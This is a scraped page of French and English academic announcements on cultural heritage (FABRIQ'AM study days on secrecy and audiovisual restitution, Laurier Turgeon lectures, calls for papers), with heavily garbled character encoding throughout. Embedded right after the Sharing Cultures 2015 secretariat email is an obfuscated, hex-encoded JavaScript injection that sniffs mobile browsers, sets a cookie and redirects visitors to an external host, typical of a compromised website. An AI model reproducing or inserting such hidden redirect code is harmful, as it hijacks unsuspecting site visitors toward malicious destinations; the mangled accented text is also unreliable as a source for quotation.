La maroma (corde A�paisse utilisA�e par les marins) a donnA� son nom A� une expression spectaculaire, rituelle et festive pratiquA�e par des groupes da��artistes-paysans indigA?nes et mA�tis dans les rA�gions rurales du Sud du Mexique. Le A�A�spectacleA�A� inclut des acrobates, danseurs de corde, clowns, trapA�zistes, musiciens, et sa��effectue en gA�nA�ral A� la��occasion de festivitA�s communautaires des rA�gions da��Oaxaca (Mixteca Baja, Sierra Mixe, Costa Chica), Guerrero, Puebla et Veracruz. Aujourda��hui, la maroma subit de multiples transformations dues aux relations que ses acteurs tissent avec des institutions culturelles et des cirques, et celle-ci sa��insA?re dA�sormais dans diffA�rents processus de patrimonialisation et de valorisation. La��impact de la migration (vers les USA et aussi les capitales nationales) sur cette pratique, dA�jA� identifiA� par Luz MarA�a Robles DA?vila (2008) sur la maroma mixtA?que, a A�galement engendrA� de nombreuses transformations. Il sa��agira donc da��analyser cet impact et la construction de cette pratique comme patrimoine itinA�rant. Les rA�seaux de maromeros qui se renforcent lors des rencontres annuelles de maromeros organisA�es par les institutions locales seront explorA�s afin de faire A�merger les individus qui participent A� la valorisation de la maroma (artistes, chercheurs, fonctionnaires, leaders). Aussi, nous A�voquerons deux projets (Transatlancirque et Pasatono) qui ont contribuA� A� la visibilisation, la��internationalisation et en quelque sorte A� la��A�A�A�artificationA�A� de la maroma.

Christian Rinaudo (UniversitA� Nice Sophia Antipolis, Directeur adjoint de l’URMIS)A�: A�A�Son jarocho entre Mexique, Etats-Unis et Europe :A�acteurs, circuits et enjeux de laA�patrimonialisation rA�ticulaire da��une pratique culturelle transnationale A�


DA�fini comme un genreA�des composantes constitutives deA�la��hA�ritage culturel mexicain. Au dA�but des annA�es 1970, quelques musiciens etA�universitaires ont commencA� A� questionner les dA�rives commerciales etA�folklorisantes de cette pratique, duA�A� mouvementA�jaranero A� (du fait deA�la��usage central de la jarana, petite guitareA�da��origine espagnole). Ce dernier va contribuer A� la��A�mergence da��un discoursA�patrimonial renvoyant A� un passA� mythique : celui des fandangos, fA?tesA�traditionnelles dans et par lesquelles se transmet uneA�mA�moire collectiveA�commune.A�A partir des annA�es 1990-2000,A�la collaboration entre la nouvelle gA�nA�ration de musiciens deA�Veracruz et leA�mouvement chicano aux Etats-Unis va multiplier les propositions de productionA�da��une mA�moire commune etA�dA�velopper un activisme social et politique qui, enA�sa��articulant avec le mouvement zapatiste, constitue un des enjeux de laA�patrimonialisationA�da��une pratique qui se dA�ploie dA�sormais dans un champ social transnational.

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JOURNA�E D’A�TUDE FABRIQ’AM, Le secret, le 2 mars 2015, EHESS, Paris

JournA�e da��A�tude Fabriqa��am

PATRIMONIALISATION ET RA�GIMES Da��HISTORICITA� (II)A�

LE SECRET

Lundi 2 mars de 10 heures A� 18 heures,

A�cole des Hautes A�tudes en Sciences Sociales

A�bA?t Le France, 190 avenue de France, 75013 Paris

salle du conseil B

Nous avons au cours du projet Fabriqa��am explorA� diffA�rentes modalitA�s de A�A�mises en oubliA�A� suscitA�es par la patrimonialisationA�(la substitution de rituels, la��opposition, la��euphA�misation ou la��A�radication de la violence de certaines pratiques par exemple). Mais mettre en patrimoine suppose parfois aussi de taire volontairement pour diffA�rents motifs : la peur, la honte, la fiertA�, la colA?re, des formes de rA�sistance, la��affirmation da��un frontiA?re dans un monde qui se veut globalisA�, ou bien au contraire la volontA� de masquer des particularitA�s afin de pouvoir sa��y insA�rer et de pouvoir mener des revendications.

La��objectif de cette journA�e est de rA�flA�chir sur le A�A�secretA�A� dans un contexte de patrimonialisation et avec la volontA� de confA�rer une importance au contenu du secret et de ne pas rA�duire son analyse A� la��A�tude seule de sa forme (voir Adell 2014). DiffA�rents aspects seront abordA�sA�:

  • Les liens entre la��oubli et le secretA�: comment penser la��articulation ou les glissements entre le fait da��oublier et le secret dans les cas oA? la��idA�al de la patrimonialisation (idA�al communautaire, dA�mocratique, de justice, d’A�quilibre et de rA�ciprocitA�, d’harmonie avec la nature etc. selon) na��est pas compatible avec certaines pratiques indigA?nes (peines de mort, combats rituels violents, attaques sorcelaires par exemple)A�; comment penser cette articulation encore, dans les cas de violence politique (Voir Robin 2013) et notamment quand A�A�le devoir de mA�moireA�A� a donnA� lieu A� des processus de patrimonialisationA�?
  • Les conceptions et les rapports A� la temporalitA� et A� la��ancestralitA�, les modes de constructions mA�morielles A� travers la��A�tude des liens entre histoire orale et les archives notamment.
  • Voiler et dA�voiler : dA�voiler na��est pas que dire, tandis que cacher ne se rA�sume pas A� taire ; inversement taire na��est pas forcA�ment cacher et garder secret (voir (Adell op. cit., Armanet 2011). Il sa��agira de sa��interroger sur les rapports entre le contenu et la formeA�du secret ainsi que sur la transmission et le contrA?le de la diffusionA�da��information (contrA?ler cette diffusion au sein da��un processus de patrimonialisation est-ce garder un secretA�? Le secret peut-il supporter un dA�voilement graduelA�?). Mais au delA�, la��A�tude du secret interroge sur les frontiA?res qua��il estompe ou qua��il affirme entre des groupes et par lA� renvoie intimement A� des enjeux identitaires et politiques qua��il conviendra da��explorer dans sa dimension A� la fois synchronique et historique (Voir Demanget 2014).
  • Patrimoine, secretA�et trace : certaines pratiques (des rituels funA�raires, des techniques narratives) visent A� effacer des traces, A� faire disparaA�tre ou A� dissimuler et font en sorte qua��il na��y ait pas de transmission possible. Comment penser alors leur patrimonialisationA�? Peut-on patrimonialiser ce qui a disparu intentionnellementA�? Nous mettrons en parallA?le des cas oA? des pratiques fondA�es sur la��oubli et le secret na��ont jamais A�tA� patrimonialisA�es et da��autres fondA�es sur le contrA?le de la diffusion da��informations (certains codes culturels sont dA�voilA�s, da��autres non) afin de rA�flA�chir sur la��articulation entre secret, patrimoine et trace tout en considA�rant les diffA�rentes A�chelles de ce processus. Enfin, nous nous demanderons si inversement, la patrimonialisation ne peut pas A?tre vA�cue comme un dispositif qui a rA�vA�lA� des secretsA�?
  • Les A�motions : elles semblent jouer un rA?le cardinal dans les processus qui conduisent des groupes A� A�A�faire des secretsA�A�. Il sa��agira ici de mieux dA�terminer quelles peuvent A?tre ces A�motions, da��examiner leur rA?leA�(dans quelle mesure sont-elles des embrayeursA�de rA�flexivitA�A�? par exemple) et de sa��interroger sur la��articulation entre expression A�motionnelle, discours et pratiques.
  • La��anthropologue et le secretA�: quel est le rA?le de la��anthropologue et quelle prise de risque dans la��anthropologie et la��ethnographie du secret (Voir Graham M. Jones 2014) dans un contexte de patrimonialisationA�?A�Que fait la��anthropologue quand ses donnA�esA�sont censA�es rester secrA?tesA�? Ces interrogations conduisent A� nous interroger cette fois-ci sur les secrets de la��anthropologueA�et sur la��autocensure du chercheurA�: comment expliquer des processus politiques sans dA�voiler l’intimeA�? Comment concilier un certain engagement moral et politique, parfois militant, avec le travail scientifique par exemple ?

A�PROGRAMME

10hA�: accueil des participants

10h20

Laurence Charlier (anthropologue associA�e au MA)

PrA�sentation,

Lire le texte :A�PrA�sentation secret, L Charlier

10h30

Montserrat Ventura i Oller (Universitat AutA?noma de Barcelona)

La tradition A� la��envers : passA� et futur dans un exemple A�quatorien

Si la��oubliA� peut A?tre considA�rA� comme une faA�on de remA�morer autrement, dA?s qua��on essaye de comprendre la place de la��oubli dans les sociA�tA�s tournA�es vers la��avenir on peut concevoir le patrimoine, moins comme une cA�lA�bration da��un fait du passA�, que comme une mise A� la��avant de certains paradigmes que la sociA�tA� sa��efforce de sauvegarder. A�Ainsi, la sA�ance portera sur une catA�gorie da��A�vA�nements, tels que le silence, la discrA�tion, ou la��excA?s de parole en tant qua��A�lA�ments clA�s du devenir social, A� partir de la��ethnographie de la sociA�tA� Tsachila de la��A�quateur, afin de proposer un nouveau regard pour penser les actes de patrimonialisation.

11h15

Pause

11h30

Anath Ariel de Vidas (Directrice de Recherche, MA)

La��histoire omise. A�Tradition orale, histoire transcrite et patrimonialisation dans un village nahua au Mexique

La��exposA� explorera les rA�actions des habitants d’un village de culture nahua au Mexique au texte de la��anthropologue sur l’histoire de cette localitA� qui comprend des A�vA�nements historiques qui avaient A�tA� rA�duits au silence. Les A�changes autour de ce texte ont rA�vA�lA�, entre autres modes de relation A� la��histoire locale, aussi celui qui omet certains A�vA�nements historiques dont la mA�moire na��est plus transmise. L’analyse de la rA�ception de ce texte soulA?ve la question du type d’histoire que les habitants souhaitent adopter dans le processus de transcription de leur mA�moire collective ou, en d’autres termes, la question de la relation entre la tradition orale, le secret, la��oubli, la honte et les sources historiques explorA�es par la chercheuse. En mettant en perspective l’histoire omise avec celle qui est transmise, la��analyse de la��omission da��A�vA�nements historiques peut servir d’ouverture A�pistA�mologique afin de comprendre les notions locales du patrimoine, et par extension, une position collective sur les changements historiques.

A�12h15

Magali Demanget, (MaA�tresse de confA�rence, UniversitA� Paul-ValA�ry Montpellier)
Le trA�sor secret du chamanisme. Paradoxes de la mise en patrimoine dans la Sierra MazatA?que (Mexique)

Il sa��agira da��interroger la��attitude observA�e dans la sociA�tA� mazatA?que qui consiste simultanA�ment A� cacher et A� exhiber certains aspects du chamanisme local (acteurs mythiques locaux, usages rituels des champignons sacrA�s, oraisons/chants chamaniques). La��une des qualitA�s A�A�patrimonialesA�A� de ces aspects fut da��avoir A�tA� occultA�s dans le cours de la��Histoire et da��A?tre toujours au centre de pratiques tangibles. Cette qualitA� de secret garantit une continuitA� souterraine courant aussi bien dans la synchronie de relations sociales contemporaines que dans le fil da��un temps long (en lien avec la��hA�ritage prA�hispanique). En mA?me temps, dans cette perspective patrimoniale, la��existence du secret, du fait de sa mise en A�criture, est avant tout discursive. Ici, le secret constitue la plus value du patrimoine culturel local en A�tantA� rattachA� A� la��idA�e da��un bien prA�cieux, un trA�sor qui peut A?tre dA�robA�, un reste demeurA� cachA�, prA�servA� mais aussi sauvegardA�, au sens de gardA� vivant. La supposA�e continuitA� affichA�e sur les scA?nes patrimoniales paraA�tA� cependant, dans le cadreA� pragmatique des relations sociales, A�laborA�e A� partir de ruptures, de mA�salliances, de rapports da��inclusion/exclusion. Si je me suis attachA�e par ailleurs A� la��existence A�A�positiveA�A� du secret comme patrimoine, il sa��agira ici da��aborder la face cachA� de cette exhibition : qua��est-ce qui est soustrait A� la patrimonialisationA�? Les motifs de cette soustraction sont-ils conscientsA�? En quoi la valeur de ce qui est soustrait diffA?re-t-elle de ce qui est montrA�A�? Qui sont les acteurs, et surtout quelles sont les circonstances de ces pratiques de dissimulationA�? Ces interrogations nous conduiront A� explorer un A�A�contenuA�A� du secret indissociable de son existence pragmatique.

13h

DA�jeuner

A�14h

Vincent Hirtzel (ChargA� de recherche, LESC)

DiscrA�tion, camouflage et secret(s) : la politique de frontiA?re yurakarA�

En prenant la��exempleA� da��une parentA?leA� yurakarA� (piA�mont andin bolivien), cet exposA� examinera comment le secret peut A?tre analysA� comme la��extrA�mitA� da��un continuum de stratA�gies de rA�sistance A� travaillant A� la��interface du A� dehors A� et du A� dedans A�.A� Les difficultA�s et les surprises de la��enquA?te A�ethnographique menA�e en son sein (qui seront elle-mA?mes restituA�es dans leur A�paisseur historique) serviront A� A�baucher une rA�flexion sur les nA�cessaires transformations des rapports frontaliers auxquels peuvent conduire les processus de patrimonialisation. Dans quelle mesure la��effort patrimonial repose-t-il sur un monde utopique de A� libre-circulation A�, sans frontiA?re A� A�paisse A� ? Dans quelle mesure est-il tributaire, par ailleurs, sur le registre politique, de la dilution A� acceptable A� de la��altA�ritA� ?

Lire le texte en PdfA�Hirtzel V. DiscrA�tion, camouflage et secret

14h45

Laurence Charlier (Anthropologue associA�e au MA) et Claude Legouill (sociologue associA� au CREDAL)

Des secrets des ayllus aux secrets de la��anthropologueA�: une approche croisA�e du secret en contexte de patrimonialisation dans le Nord Potosi de Bolivie

Nous allons nous attacher A� croiser les donnA�es, les mA�thodes mais aussi les questionnements rA�flexifs que nous avons pu avoir chacun sur un mA?me terrain (le Nord Potosi) vis A� vis du secret en contexte de patrimonialisation. Cette prA�sentation est le fruit da��une rencontre entre deux chercheurs aux mA�thodes et aux recherches diffA�rentes mais qui ont pu aboutir A� une rA�flexion commune sur la patrimonialisation des ayllus dA?s lors prA�cisA�ment que nous abordions la question du secret. La patrimonialisation des ayllus renvoie en effet A� un idA�al communautaire, dA�mocratique, d’A�quilibre et de rA�ciprocitA�. Cet idA�al a incitA� les ayllus A� taire certaines pratiques qui ne coA?ncidaient guA?re avec cet idA�al et qui, une fois sorties du groupe, risquaient de leur supprimer des avantages symboliques acquis par la figure de l’A�A�indio permitidoA�A� (Hale, 2004), et leur permettant d’obtenir des reconsidA�rations A�conomiques, politiques et territoriales.A�Deux points seront examinA�sA�: les secrets rA�vA�lA�s par la�?anthropologue aux ayllus et les secrets rA�vA�lA�s A� la��anthropologue par des membres de la��ayllu. Nous ferons tout da��abord rA�fA�rence A� la��accA?s du chercheur aux sources et aux archives du Nord Potosi ignorA�es au dA�but de notre terrain par les habitants des ayllus, mais qui peuvent jouer aussi bien un rA?le dans leur A�A�processus de reconstitution des ayllusA�A� que dans la rA�solution de leurs conflits locaux en se heurtant A� la mA�moire orale. Le mythe les auraient-ils trompA�s comme l’expliquent les habitants de la��ayllu KharachaA�arguant qua��on leur avait cachA� la vA�ritA� ? S’agit-il de dA�voiler les secrets des archivesA� et de rA�vA�ler les erreurs de la reconstitution historique des ayllusA�? La��autre point sera consacrA� A� la��anthropologue qui dA�range dA?s lors que des secrets lui ont A�tA� rA�vA�lA�s, souvent de maniA?re imprA�vue (confidences intimes, rA�vA�lations sous la��effet de la��alcool) ou lors de conflits in situA�: peine de mort pour cause de vol, absence de sanction pour des cas da��infanticide ou de viol, attaques sorcelaire, pratiques de guerre par exemple. Ceci nous conduira en conclusion A� rA�flA�chir sur le rA?le de la��anthropologue par rapport aux secretsA�: que fait-il des donnA�es censA�es ne pas A?tre dA�voilA�esA�? Comme rendre compte A� l’A�crit de certaines pratiquesA�? Au delA�, ces questions nous renvoient aussi aux secrets de la��anthropologueA�: quels sont les secrets de la��anthropologue vis A� vis de ses interlocuteurs sur le terrain mais aussi vis A� vis de la communautA� scientifiqueA�? Quelle est la place de la��autocensureA�?

15h30

Pause

15h45

Ariela Epstein (post-doctorante LISST)

A�A�On-ditA�A� et rA�ponses A�vasives, la non-A�criture da��un morceau da��histoire en contexte de patrimonialisation

Comme toute construction patrimoniale, celle de la��ancienne usine Anglo (Fray Bentos, Uruguay) et du quartier ouvrier qui la��entoure, implique une A�criture du passA�. Le processus institutionnel A� la��A�uvre a posA� des balises dans le tempsA�: la mA�moire mise en avant est celle de la��usine en marche, et celle de la vie ouvriA?re, jusqua��A� la fermeture de la��A�tablissement. La��ethnographie du prA�sent de ce quartier oblige pourtant A� interroger un autre moment historique, celui de la dictature militaire, qui correspond, juste aprA?s la fermeture de la��usine, A� la��expulsion de presque tous les habitants du quartier Anglo. Mon travail interroge alors ce passA� qui en A�A�rA�veilleA�A� un autre, et tente de saisir les enjeux actuels des diffA�rentes mA�moires de ce lieu.

16h30

Nathalie Manrique (Anthropologue affiliA�e au LAS)

Secrets, simulacres et exhibitions. Noces et pratiques funA�raires chez les Gitans da��Andalousie

Chez les Gitans da��Espagne, deux champs de pratiques sont tenus pour secretsA�: ceux liA�s au mariage et ceux associA�s A� la mort. Seuls des Gitans sont, en principe, autorisA�s A� connaA�tre les dA�tails de la dA�floration de la mariA�e, A� poser leur regard sur les A�A�trois rosesA�A� et A� se laisser envelopper par la mA�lodie de la��AlboreA? (ou Yeli) considA�rA�e comme A�tant le patrimoine essentiel des Gitans (dA�clarA�e Patrimoine ImmatA�riel de la��HumanitA� par la��Unesco en 2010). Le secret semble ainsi perpA�tuer fondamentalement la frontiA?re entre les Gitans et les non-Gitans. Da��autre part, A� la mort da��un Gitan, la��existence de cet individu est officiellement oubliA�e pour et par tous. Plusieurs techniques da��oubli sont donc instaurA�es dont la mise en place du secret. Ce dernier sa��adresse essentiellement aux proches parents du dA�funt qui doivent sa��assurer que le surnom de leur cher disparu ne soit plus prononcA�. Dans ces deux champs, le secret semble donc A�uvrer de maniA?re distincteA�: da��un cA?tA�, le silence serait imposA� pour marquer et perpA�tuer la frontiA?re entre A�A�ceux qui saventA�A� (les Gitans) et A�A�ceux qui ne savent pasA�A� (les non-Gitans) et de la��autre, pour dissimuler un contenu pourtant connu de tous pour qua��il sombre ainsi dans la��oubli.

La��A�tude de simulacres de mariages devenus des patrimoines touristiques A� la��A�chelle internationale (Procession des Gitans lors de la Semaine Sainte de Grenade et pA?lerinage de la Vierge de Cabra A� Cordoue), montre que le rA?le de ces secrets est moins la construction da��une frontiA?re entre initiA�s et non-initiA�s que la��occasion de rA�vA�ler A� chaque Gitan, par la��intermA�diaire de diffA�rents codes, les statuts, trA?s mobiles, de chacun au sein de la communautA�. Ces codes se transmettent da��une gA�nA�ration A� la��autre perpA�tuant, de maniA?re parallA?le, la distinction entre Gitans et non-Gitans. Lors da��un dA�cA?s, le secret permet da��exclure le dA�funt de tout type de transmission (matA�rielle ou symbolique) aux gA�nA�rations qui suivent. Les secrets gitans agissent A� la fois pour la transmission et pour la��exclusion de celle-ci. Ils rA�vA?lent donc la��importance de la��A�A�A�intimitA� culturelleA�A�, celle qua��on se rA�serve pour la��entre soi, pour le bon fonctionnement interne du groupe et reflA?tent une identitA� fondA�e sur la seule transmission communautaire et jamais individuelle.

17h15

DA�bat

Discutant

Emmanuel de Vienne (MaA�tre de confA�rence, Nanterre UniversitA�)

Organisation

Laurence Charlier

laurencecharlierzein@gmail.com

Bibliographie

Adell, N., 2014, Introduction. Faire le secret, Mondes contemporains, NA�5, p. 3-10.

Armanet, E., 2011, Le ferment et la grA?ce. Une ethnographie du sacrA� chez les Druzes d’IsraA�l, Toulouse, Presses Universitaires du Mirail.

Demanget, M., 2014, La patrimonialisation de la��occulte. Secret chamanique et A�criture en terres mazatA?ques (Mexique), Mondes contemporains, NA�5, p. 29-51.

Graham M. Jones, 2014, Secrecy, Annual Review of Anthropology, Vol. 43 : 53-69 (Volume publication date October 2014), First published online as a Review in Advance on June 24, , DOI: 10.1146/annurev-anthro-102313-030058.

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SHARING CULTURES a�� 4th International Conference on Intangible Heritage

2nd CALL FOR PAPERS

March 20, 2015

SHARING CULTURES a�� 4th International Conference on Intangible Heritage

September 21-23, 2015 * Lagos * Algarve * Portugal

SHARING CULTURES 2015 – 4th International Conference on Intangible Heritage aims at pushing further the discussion on Intangible Cultural Heritage (ICH), under the main topics proposed by the UNESCO Convention adding some new field of discussion, namely on what concerns management and promotion of ICH, educational matters and musealization (please refer to the list of Topics).

The concept of ICH gained its rightful place among the scientific community during the last two decades and a significant amount of work has been done by a large number of researchers, academics and practitioners, leading to the recognition of ICH as fundamental piece for the comprehension of human societies, organisations and ways of living. Accordingly, scientific events that gather scholars, researchers and academics with on-going work on ICH are privileged moments to share experiences, problems, questions and conclusions. SHARING CULTURES in its 2015 edition aims at consolidating its rightful place among those events.

As in its previous editions SHARING CULTURES 2015 will include a number of workshops promoting some hands-on experience to all Delegates who will have the opportunity to learn traditional know-how from its owners and practitioners.

Authors intending to submit papers to SHARING CULTURES 2015 are encouraged to address one of the topics of the Conference by providing evidence of ongoing research work.

The Conference will welcome papers and presentations on field work, case studies and theoretical approaches to ICH.

SHARING CULTURES 2015 is a peer reviewed conference.

Visit the conference website for full details about the conference scope, topics and submission procedures at:

http://www.sharing.greenlines-institute.org

Abstract Submission

Submit an abstract via the conference website: http://www.sharing.greenlines-institute.org/ or contact the Conference Secretariat below.

Topics

A� Oral traditions and expressions

A� Performing arts

A� Social practices

A� Traditional craftsmanship

A� Management and promotion of intangible heritage

A� Authenticity of intangible heritage

A� Intangible heritage and education

A� Special Chapter: ecomuseums, community museums and living communities

Conference Secretariat

Secretariat SHARING CULTURES 2015

Green Lines Institute for Sustainable Development

Av. Alcaides de Faria, 377 S12

4750-106 Barcelos, PORTUGAL

Telephone: + 351 253 815 037

Email: sc2015@greenlines-institute.orgvar _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

ConfA�rences de Laurier Turgeon, le 16, 18, 23, 25 fA�vrier 2015, EHESS, Paris

Laurier TURGEON

Chaire de recherche du Canada en patrimoine ethnologique

Directeur du LEEM, Laboratoire da��enquA?te ethnologique et multimA�dia

UniversitA� Laval, QuA�bec, Canada

A�

Professeur invitA� A� la��EHESS par le master mundus TEMA, donnera quatre confA�rences sur le thA?me du patrimoine. Ces confA�rences auront lieu au 105 boulevard Raspail, Paris.

  • Lundi 16 fA�vrier, de 16h00 A� 18h00, salle 2A�:A�A�A�Politiques et pratiques du patrimoine et du dA�veloppement durableA�: convergences et croisementsA�A�
  • Mercredi 18 fA�vrier, de 16h00 A� 18h00, salle 5A�:A�A�A�MA�diations des patrimoines et nouvelles technologiesA�A�
  • Lundi 23 fA�vrier, de 16h00 A� 18h00, salle 11A�:A�A�A�Mises en valeur des patrimoines et tourisme durableA�: dA�fis et enjeuxA�A�
  • Mercredi 25 fA�vrier, deA�17h00 A� 19h00, salle 11A�:A�A�A�La fabrique du patrimoine alimentaire et la conservation des territoiresA�A�

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Call for papers: International Conference Cultural Narratives of Crisis and Renewal

International Conference Cultural Narratives of Crisis and Renewal*
Newcastle University 24-26 June 2015

Call for papers

This conference hosted by the School of Modern Languages and the Centre for Latin American and Caribbean Studies invites papers examining the cultural production and cultural practices in the context of societal crisis, on both sides of the Atlantic. Our aim is to establish a dialogue about the narratives on moments of crisis and images of renewal in Latin American and Iberian cultural production.

Keynote speaker
Prof. Jean Franco
(Columbia University)

We welcome papers on the following topics or others relevant to the conference main theme:

– Cultural production responding to societal crises in Latin America and Spain (comics, film, graffiti, literature, music, photography, telenovela, theatre)
– The ‘neoliberal turn’ in Latin America in the 1970s.
– The experience of crisis in transatlantic relations.
– Financial uncertainty and the rise of amateurism.
– Collectives, associations and spaces for cultural production.
– Alternative cultures (and social or economic practices) in periods of crises.
– Cultural renewal.
– Linguistic revitalization, ethnogenesis and cultural production.

NB: The conference will host an exhibition by visual artist Javier de Isusi and will screen the documentary De mar a mar based on the life and work of exiled Republican intellectual and playwright JosA� Ricardo Morales. In association with the Vamos Festival, work by lettering artist Elliot Tupac will be displayed.
Please send your proposals by 11 March 2015 toA�conferencenewcastle@gmail.comA�Include title, affiliation and 150-200 word abstract.

*Cultural Narratives of Crisis and Renewal (CRIC) is a four-year collaborative research project sponsored by the European Union Marie Curie RISE fund. The overarching aim of the project is to investigate the role of cultural production as a vehicle to elucidate experiences of crisis. Participating institutions: Newcastle University; University of Amsterdam; Universitat de ValA?ncia; Universitat de Lleida; Universidad Austral de Chile; Pontificia Universidad CatA?lica del PerA?; Universidad Nacional de CA?rdoba; Universidad Nacional Tres de Febrero. The project is coordinated by Drs Jorge CatalA? Carrasco and Patricia Oliart.

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JOURNA�E D’A�TUDE FABRIQ’AM : De la restitution intelligible A� la rA�appropriation active, le 30 janvier 2015, LESC-MAE, Nanterre

DE LA RESTITUTION INTELLIGIBLE A� LA RA�APPROPRIATION ACTIVE : LES ENJEUX LOCAUX DU RETOUR DES DONNA�ES AUDIOVISUELLES DES ETHNOLOGUESA�

A�Le 30 janvier 2015

Laboratoire da��Ethnologie et de Sociologie ComparativeA�- Salle 308

Maison Ethnologie et ArchA�ologie RenA�-GinouvA?s

21, allA�e de la��UniversitA�

UniversitA� Paris Ouest Nanterre

de 10h A� 18 heures

Dans le cadre de la��ANR FABRIQa��AM, La fabrique des A� patrimoines A� : MA�moires, savoir et politique en AmA�rique indienne aujourda��hui, cette journA�e da��A�tude internationale sa��attachera A� la��analyse des enjeux entourant la restitution des donnA�es audio-visuelles des ethnologues aux populations dont elles A�manent originellement.

La journA�e sera consacrA�e A� une rA�flexion sur les usages locaux des donnA�es audio-visuelles que les ethnologues rapportent de, traitent, puis ramA?nent sur leurs lieux da��enquA?te respectifs. Ces donnA�es sont le plus souvent restituA�es avec, en arriA?re-plan, une intention patrimoniale. On espA?re souvent les voir prA�servA�es sur place comme tA�moignage da��un passA� valorisA�, monumentalisA�es dans la��A�quivalent local de musA�es, bibliothA?ques, photothA?ques, sonothA?ques ou centres culturels de tout ordre. Or les acteurs locaux les utilisent frA�quemment A� des fins tout autres : comme instruments politiques, comme supports de mA�moire ou de crA�ation de discours (historiques, musicologiques, gA�nA�alogiquesa��) rA�pondant A� des prA�occupations et des projets qui leur sont propres, ancrA�s dans des stratA�gies locales contemporaines.

Pour le dire autrement, les ethnologues enregistrent, analysent, transforment, puis restituent leurs donnA�es avec une visA�e clairement patrimoniale, mais qua��en est-il A� la��A�chelle locale, dans des contextes oA? la��archivage et la conservation constituent rarement des enjeux prioritaires ? Il sa��agira donc de sa��interroger sur la maniA?re dont les donnA�es anciennes sont non seulement valorisA�es pour elles-mA?mes (dans une optique mA�morielle) mais de surcroA�t utilisA�es pour valoriser A� leur tour des pratiques plus contemporaines. Partant de ce constat que les donnA�es restituA�s deviennent frA�quemment le support da��une activitA� crA�atrice et rA�flexive qui ne relA?ve pas de la simple dA�marche conservatoire, on sa��intA�ressera A� ce qua��on pourrait appeler leurs modalitA�s de rA�-indigA�nisation.

